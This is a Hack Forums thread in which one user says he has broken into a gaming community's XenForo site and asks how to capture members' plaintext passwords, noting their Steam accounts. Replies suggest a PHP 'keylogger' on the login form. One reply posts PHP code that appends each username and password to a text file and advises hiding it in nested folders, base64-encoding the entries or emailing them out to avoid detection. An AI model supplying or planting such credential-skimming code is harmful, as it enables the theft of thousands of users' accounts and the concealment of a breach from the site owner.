

Forum:[Hack Forums](#)

Thread: [How to obtain plaintext passwords in XenForo?](#)

mandog28 - August 16, 2015, 11:45 am

Hey there. The site in question is one that SWIM has hacked and has full cPanel access to.

I'm just wanting to possibly request a method to intercept XenForo passwords before they're encrypted.

The passwords are hashed and salted so I'm wondering if there was a way to intercept them or infiltrate the enter password function so that it transmits plaintext pws to a text file along with a user ID before the password is encrypted?

The community is a gaming one and has thousands of members, all with Steam accounts.

I have little experience in coding, but if someone could magic up a function to get the passwords sent to a text file unencrypted, that'd be great.

bass booster - August 16, 2015, 12:20 pm

The only way I know of is to put a php 'keylogger' on the user/email:password textbox when they sign up. But you'd need access to the files for that. and even then it probably wouldn't work with the security xf has.

mandog28 - August 16, 2015, 3:02 pm

I have access to the files!

dusername - August 16, 2015, 3:28 pm

go to the login file look for the `$_POST['username']` and `$_POST['password']` .. and google for ways to write into a text file or send an email to yourself. example:

```
Code logintry($_POST['username'], $_POST['password']);
if(logintry->successfull){
...something happens....
```

```
$file = 'passwords.txt';
$current = file_get_contents($file);
$current .= "|| Username: ".$_POST['username']. " Password".$_POST['password']."\n";
file_put_contents($file, $current);
...}}
```

this is an example.. in this case it would save the passwords to a text file everytime a user logs in, which i wouldnt recommend because the server owner could suspect it.. so maybe sending an email, or just create a file named logs inside a folder that is inside another folder and base64 the username and password to look less suspicious.